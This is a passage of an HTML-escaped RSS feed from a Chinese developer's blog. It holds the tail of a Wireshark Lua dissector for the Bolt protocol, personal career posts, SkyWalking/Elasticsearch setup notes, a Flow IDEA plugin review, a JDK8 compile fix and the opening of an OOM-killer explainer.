&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_response_status&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_classlen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;classLen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint64&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;():&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tonumber&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_headerlen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;headerLen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint64&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;():&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tonumber&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_contentlen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;contentLen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint64&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;():&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tonumber&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_class&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;classLen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;classLen&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_header&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;headerLen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;headerLen&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_content&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;contentLen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;contentLen&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kr&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kr&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kr&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;-- we use 12200&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;tcp_table&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DissectorTable.get&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;tcp.port&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;-- register the protocol to port 12200&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;tcp_table&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;12200&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bolt_proto&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
    </item>
    <item>
      <title>27 Years Old Man</title>
      <link>http://blog.leaver.me/2018/10/20/27-years-old-man/</link>
      <pubDate>Sat, 20 Oct 2018 17:54:10 +0800</pubDate>
      <guid>http://blog.leaver.me/2018/10/20/27-years-old-man/</guid>
      <description>&lt;p&gt;又是一年，工作进入了第5年了。身体各方面略有一些下降，生活上，也未能彻底稳定下来。&lt;/p&gt;
&lt;p&gt;由于各方面的原因，博客基本荒废，最近抽空搞成了go 版本的 hugo 生成静态网站的形式。速度快很多，也没有hexo那么折腾，写作的欲望有一些上升。下一年稍微还是写几篇。&lt;/p&gt;
&lt;p&gt;2019年，希望几个事情能有一些推进，其他事情一切顺利，顺便祝自己生日快乐。&lt;/p&gt;</description>
    </item>
    <item>
      <title>About</title>
      <link>http://blog.leaver.me/about/</link>
      <pubDate>Sun, 14 Oct 2018 11:37:47 +0800</pubDate>
      <guid>http://blog.leaver.me/about/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;我平凡而普通,有着小小的梦想&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;20130820&#34;&gt;2013.08.20&lt;/h2&gt;
&lt;p&gt;成为一名攻城狮，供职支付宝，花名:@碧远，和一群有意思的人在工作，努力学习各种知识中。&lt;/p&gt;
&lt;p&gt;周末总会一个人在上海随机的一条街道行走，有动机，没有目的地。&lt;/p&gt;
&lt;p&gt;心怀碧波万顷，带着理性和浪漫，寻找妹子和窄门。&lt;/p&gt;
&lt;h2 id=&#34;20140302&#34;&gt;2014.03.02&lt;/h2&gt;
&lt;p&gt;一切条件都是为不喜欢的人准备的，今天，没有条件，没有但是，寻找窄门。&lt;/p&gt;
&lt;h2 id=&#34;20140715&#34;&gt;2014.07.15&lt;/h2&gt;
&lt;p&gt;正式入职支付宝,开始我漫长的工作生涯,做好SDET.&lt;/p&gt;
&lt;h2 id=&#34;20170930&#34;&gt;2017.09.30&lt;/h2&gt;
&lt;p&gt;转岗到中间件,开始做基础技术.&lt;/p&gt;
&lt;h2 id=&#34;20190710&#34;&gt;2019.07.10&lt;/h2&gt;
&lt;p&gt;成为中间件技术专家.&lt;/p&gt;
&lt;h2 id=&#34;20200710&#34;&gt;2020.07.10&lt;/h2&gt;
&lt;p&gt;转岗到搜索推荐及广告技术部,开始做搜索推荐相关的业务和技术研发,开启新的挑战.&lt;/p&gt;
&lt;h2 id=&#34;20210101&#34;&gt;2021.01.01&lt;/h2&gt;
&lt;p&gt;所有过往,皆为序章;所有将来,皆是可盼.&lt;/p&gt;
&lt;h2 id=&#34;20211122&#34;&gt;2021.11.22&lt;/h2&gt;
&lt;p&gt;离开了7年的蚂蚁，重新回到中间件，做基础技术。&lt;/p&gt;</description>
    </item>
    <item>
      <title>skywalking插件开发的注意事项</title>
      <link>http://blog.leaver.me/2018/05/13/skywalking%E6%8F%92%E4%BB%B6%E5%BC%80%E5%8F%91%E7%9A%84%E6%B3%A8%E6%84%8F%E4%BA%8B%E9%A1%B9/</link>
      <pubDate>Sun, 13 May 2018 12:34:32 +0000</pubDate>
      <guid>http://blog.leaver.me/2018/05/13/skywalking%E6%8F%92%E4%BB%B6%E5%BC%80%E5%8F%91%E7%9A%84%E6%B3%A8%E6%84%8F%E4%BA%8B%E9%A1%B9/</guid>
      <description>&lt;p&gt;最近蚂蚁金服中间件开源了 sofa 相关的部分组件,比如 &lt;a href=&#34;https://github.com/alipay/sofa-rpc&#34;&gt;rpc&lt;/a&gt;,欢迎大家参与讨论贡献,为 rpc 做链路适配的时候,skywalking 现在快到5.0版本了. 已经不支持 h2暂时,开发过程中了,环境的搭建.以下部分字段不能少.否则外面无法连接 es.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;docker run -d -p 9200:9200 -p 9300:9300 -e &amp;#34;network.host=0.0.0.0&amp;#34; -e &amp;#34;transport.host=0.0.0.0&amp;#34;  -e &amp;#34;network.publish_host=0.0.0.0&amp;#34;  -e &amp;#34;xpack.security.enabled=false&amp;#34; -e &amp;#34;network.bind_host=0.0.0.0&amp;#34; -e &amp;#34;discovery.type=single-node&amp;#34; docker.elastic.co/elasticsearch/elasticsearch:5.5.0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这条命令会搞定.&lt;/p&gt;
&lt;p&gt;同时 application.yml 文件中&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;storage:
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  elasticsearch:
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    cluster_name: docker-cluster
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    cluster_transport_sniffer: false
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    cluster_nodes: localhost:9300
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    index_shards_number: 2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    index_replicas_number: 0
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    ttl: 70
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这一段改一下.&lt;/p&gt;
&lt;p&gt;其他的一些网上已有的文档,可以看看.&lt;a href=&#34;http://www.iocoder.cn/SkyWalking/build-debugging-environment/&#34;&gt;SkyWalking 源码分析 —— 调试环境搭建&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>最近的一些变动</title>
      <link>http://blog.leaver.me/2017/08/23/%E6%9C%80%E8%BF%91%E7%9A%84%E4%B8%80%E4%BA%9B%E5%8F%98%E5%8A%A8/</link>
      <pubDate>Wed, 23 Aug 2017 00:43:38 +0000</pubDate>
      <guid>http://blog.leaver.me/2017/08/23/%E6%9C%80%E8%BF%91%E7%9A%84%E4%B8%80%E4%BA%9B%E5%8F%98%E5%8A%A8/</guid>
      <description>&lt;p&gt;现在是凌晨1点了,还在公司,想随便写点什么,也算是一点记录吧.&lt;/p&gt;
&lt;p&gt;工作三年,经历了不少的事情,有一天,突然明白.那些曾经对我重要的,可能并不是我真正想要的,想要成为的,所以基于对自己未来的规划.和自己更想做的,大概在两个月前开始准备转岗.前前后后,很多人跟我聊,希望我留在原岗位,会有更好的&amp;quot;发展&amp;quot;.最终还是走到了工作交接这一步.&lt;/p&gt;
&lt;p&gt;这个博客原来的名字叫做 &amp;ldquo;寻找妹子和窄门&amp;rdquo;, 后来,大概一段时间后,和文哥认识,现在三年多过去了.一切安好.余生请君指教,还是我的签名,也是我的承诺,于是这个博客的名字改成了寻找窄门,也有很多人问我,寻找窄门到底是什么意思.这个窄门其实来自圣经中的一段话:&amp;ldquo;你们要从窄门进去；因为那通向灭亡的门是大的，那条路是宽的，从那里进去的人也多&amp;rdquo;,我当时想表达的意思是,我们有很多的选择和不同的路,那些在大多数看来,这个选择更好,可能并不是未来几年看来更好的选择,所以我希望,能够在这种得失选择中,不要受到公司对自己的 job model, 或者title: 的影响.遵从内心的感受,更多的关注自身的兴趣和梦想,让自身的能力发挥最大化的体现.&lt;/p&gt;
&lt;p&gt;下个月末会进入蚂蚁中间件做基础技术的研发.也算是个人职业生涯中比较重要的一个改变,在这三年中,我偶尔会想,我在目前的团队继续呆着,明年成为了测试技术专家,又能怎么样呢,这是我想要的吗,我想成为自己心中认为的技术专家,我想得到的不是一个 title, 而是真正的能力上的提升,更多的技术上的认可.更跟随自己内心的感受.&lt;/p&gt;
&lt;p&gt;从测试开发工程师到中间件研发工程师,新的部门,会有新的挑战,希望下一个三年,能在中间件有更大的突破.&lt;/p&gt;</description>
    </item>
    <item>
      <title>分析代码调用关系的利器-Flow</title>
      <link>http://blog.leaver.me/2017/04/08/%E5%88%86%E6%9E%90%E4%BB%A3%E7%A0%81%E8%B0%83%E7%94%A8%E5%85%B3%E7%B3%BB%E7%9A%84%E5%88%A9%E5%99%A8-flow/</link>
      <pubDate>Sat, 08 Apr 2017 15:10:36 +0000</pubDate>
      <guid>http://blog.leaver.me/2017/04/08/%E5%88%86%E6%9E%90%E4%BB%A3%E7%A0%81%E8%B0%83%E7%94%A8%E5%85%B3%E7%B3%BB%E7%9A%84%E5%88%A9%E5%99%A8-flow/</guid>
      <description>&lt;p&gt;今天推荐一个不错的软件.是idea 的插件.名字是Flow, 官方称:A better way to understand your Java applications,原理就是通过 java-agent 修改字节码,配置了拦截器,然后真实地跑一个测试用例,或者启动一下项目,就会生成一个真实的调用关系.官方地址:http://findtheflow.io/&lt;/p&gt;
&lt;p&gt;之前阅读源代码,对于抽象类,或者接口,静态阅读代码不太容易确定具体的调用类,因此阅读有一定的阻碍,当然 debug 也行..但是这个可以通过跑用例,或者简单的测试用例,理清调用关系,非常不错.
可以对代码结构有一个整体关系&lt;/p&gt;
&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;
&lt;p&gt;安装比较简单:https://plugins.jetbrains.com/plugin/8362?pr=idea 直接安装idea 这个插件,然后重新启动 idea, 安装完成后的效果.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;安装结果&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/flow_install.png&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;使用&#34;&gt;使用&lt;/h2&gt;
&lt;p&gt;使用更简单,直接点击上图中的按钮,开始跑一下,即可,如果启动成功.控制台会有显示.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;开始启动&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/flow_start.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;然后,会在本地开启7575的端口,来显示结果.&lt;/p&gt;
&lt;h2 id=&#34;效果&#34;&gt;效果&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&#34;结果&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/flow_common.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;结果明细&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/flow_detail.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;注意,在结果页里,可以和 idea 源码交互,对着方法点右键,可以直接定位到 idea 代码中的源代码,非常方便.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;跳转&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/flow_jump.png&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;其他&#34;&gt;其他&lt;/h2&gt;
&lt;p&gt;其他,就是 可以在配置里设置根据哪些类,这样一些工具类啥的可以直接忽略了.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;运行配置&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/flow_conf.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;使用了一下,还是不错的.但是这个有个问题,如果你的项目自定义了 classloader/ 或者使用了自定义的容易,这个由于没有 mvn 的 jar 包,可能会报错,类找不到.暂时没有好的办法.但是阅读开源代码基本没有问题了.&lt;/p&gt;</description>
    </item>
    <item>
      <title>jdk8_cannot_access_class_file</title>
      <link>http://blog.leaver.me/2017/03/31/jdk8_cannot_access_class_file/</link>
      <pubDate>Fri, 31 Mar 2017 13:48:50 +0000</pubDate>
      <guid>http://blog.leaver.me/2017/03/31/jdk8_cannot_access_class_file/</guid>
      <description>&lt;p&gt;之前有个项目用 jdk6跑运行正常,用 jdk8跑的时候,会报&lt;code&gt;java cannot access ....class file ...as class file not found though it exists.&lt;/code&gt;
虽然可以通过加上报错的类到依赖里解决.但是一直没想明白,为啥 jdk6下没报错.&lt;/p&gt;
&lt;p&gt;最近再次遇到,于是想一次性搞清楚.搜了一下,看 so 上有这么个说法.大意就是以前,如果 A 依赖 B,B 实现了 C 接口,编译的时候, 用 jdk8编译的时候, C 必须在 classpath 中,
&lt;a href=&#34;http://stackoverflow.com/questions/40255718/compiling-with-jdk-1-8-java-cannot-access-class-file-class-file-not-found&#34;&gt;http://stackoverflow.com/questions/40255718/compiling-with-jdk-1-8-java-cannot-access-class-file-class-file-not-found&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;给出了一个 bug 连接,但是这里跟我们的问题有差异,不过这个点提醒了我.于是我搜索了一下 jdk8的relase note&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.oracle.com/technetwork/java/javase/8-compatibility-guide-2156366.html&#34;&gt;http://www.oracle.com/technetwork/java/javase/8-compatibility-guide-2156366.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;注意观看这一段:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Area: Tools / javac
Synopsis
Interfaces need to be present when compiling against their implementations&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;好了.也就是说还是乖乖加依赖.但是清楚了原因了&lt;/p&gt;</description>
    </item>
    <item>
      <title>oom介绍</title>
      <link>http://blog.leaver.me/2017/02/03/oom%E4%BB%8B%E7%BB%8D/</link>
      <pubDate>Fri, 03 Feb 2017 15:04:04 +0000</pubDate>
      <guid>http://blog.leaver.me/2017/02/03/oom%E4%BB%8B%E7%BB%8D/</guid>
      <description>&lt;p&gt;oom 之前知道, 但是并不是很了解,最近遇到了由 oom 引发的问题,所以学习记录一下.&lt;/p&gt;
&lt;p&gt;OOM-killer：Out-of-Memory (OOM) Killer是一种保护机制，用于当内存严重不足时，为了系统的继续运转，内核迫不得已挑选一个进程，将其杀死，以释放内存，缓解内存不足的问题。
可以看出这种方式对进程的保护是有限的，不能完全的保护进程的运行。&lt;/p&gt;
&lt;h2 id=&#34;如何知道是否发生了-oom&#34;&gt;如何知道是否发生了 oom&lt;/h2&gt;
&lt;p&gt;两种方法,第一种,查看 /var/log/messages,会有类似&lt;/p&gt;
